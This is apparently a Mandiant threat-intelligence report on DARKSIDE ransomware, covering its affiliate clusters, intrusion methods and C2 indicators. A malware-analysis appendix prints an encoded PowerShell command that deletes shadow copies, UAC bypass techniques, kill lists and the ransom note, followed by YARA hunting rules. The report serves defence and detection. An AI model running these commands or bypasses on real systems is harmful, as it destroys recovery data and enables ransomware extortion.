Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.

Background

Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

Targeting

Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.


Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version

Feature/Update

Related Reporting

Nov. 10, 2020 (V1)

 

Ability to generate builds for both Windows and Linux environments from within the administration panel. 

20-00023273

Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)

 

Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.

21-00008435

Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in)

DARKSIDE Affiliates

DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.


Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.


Figure 3: TTPs seen throughout DARKSIDE ransomware engagements

UNC2628

UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.

UNC2465

UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.

Implications

We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.

Acknowledgements

Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.


Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. :

Service Name: <ransom_ext>
Description: <ransom_ext>

Filesystem Artifacts

Created Files

%CD%\LOG<ransom_ext>.TXT
README<ransom_ext>.TXT
<original_filename_plus_ext><ransom_ext>
May version: %PROGRAMDATA%\<ransom_ext>.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:

HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico

Details

Configuration

The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r
<cut>

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...
<cut>

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.

Offset

Enabled

Description

0x01

Yes

Unknown

0x02

Yes

Encrypt local disks

0x03

Yes

Encrypt network shares

0x04

No

Perform language check

0x05

Yes

Delete volume shadow copies

0x06

Yes

Empty Recycle Bins

0x07

No

Self-delete

0x08

Yes

Perform UAC bypass if necessary

0x09

Yes

Adjust token privileges

0x0A

Yes

Logging

0x0B

Yes

Feature not used but results in the following strings being decrypted:

  • https://google.com/api/version
  • https://yahoo.com/v2/api

0x0C

Yes

Ignore specific folders

0x0D

Yes

Ignore specific files

0x0E

Yes

Ignore specific file extensions

0x0F

Yes

Feature not used; related to these strings: "backup" and "here_backups"

0x10

Yes

Feature not used: related to these strings: "sql" and "sqlite"

0x11

Yes

Terminate processes

0x12

Yes

Stop services

0x13

Yes

Feature not used; related to a buffer that contains the repeated string "blah"

0x14

Yes

Drop ransom note

0x15

Yes

Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.

Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

root/cimv2
SELECT * FROM Win32_ShadowCopy
Win32_ShadowCopy.ID='%s'

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.

vss
sql
svc$
memtas
mepocs
sophos
veeam
backup

Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.

GxVss
GxBlr
GxFWD
GxCVD
GxCIMgr

Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.

sql
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad

Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.

vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe

Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.

$recycle.bin
config.msi
$windows.~bt
$windows.~ws

Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntldrntuser.dat
ntuser.dat
logntuser.ini
thumbs.db

Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
----------------------------------------------
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>

When you open our website, put the following data in the input form:
Key:
<REDACTED>

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
https://google.com/api/version
https://yahoo.com/v2/api
sql
sqlite
$recycle.bin
config.msi
$windows.~bt
$windows.~ws
windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default
386
adv
ani
bat
bin
cab
cmd
com
cpl
cur
deskthemepack
diagcab
diagcfg
diagpkg
dll
drv
exe
hlp
icl
icns
ico
ics
idx
ldf
lnk
mod
mpa
msc
msp
msstyles
msu
nls
nomedia
ocx
prf
ps1
rom
rtp
scr
shs
spl
sys
theme
themepack
wpx
lock
key
hta
msi
pdb
vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad
vss
sql
svc$
memtas
mepocs
sophos
veeam
backup
\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahbl
ahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah
blahblah\r\nblahblahblah\r\n
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>The data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site: https://torproject.org/\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
-path
INF
DBG
/C DEL /F /Q
 >> NUL
ComSpec
README
.TXT
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
README
.TXT
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2
*$_,2))};iex $s"
root/cimv2
WQL
SELECT * FROM Win32_ShadowCopy
ID
Win32_ShadowCopy.ID='%s'
.exe
LOG%s.TXT
README%s.TXT
Software\Classes\exefile\shell\open\command
\slui.exe
runas
Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
explorer.exe

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
{
    meta:
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
    strings:
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
}

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
{
    meta:
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
    strings:
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
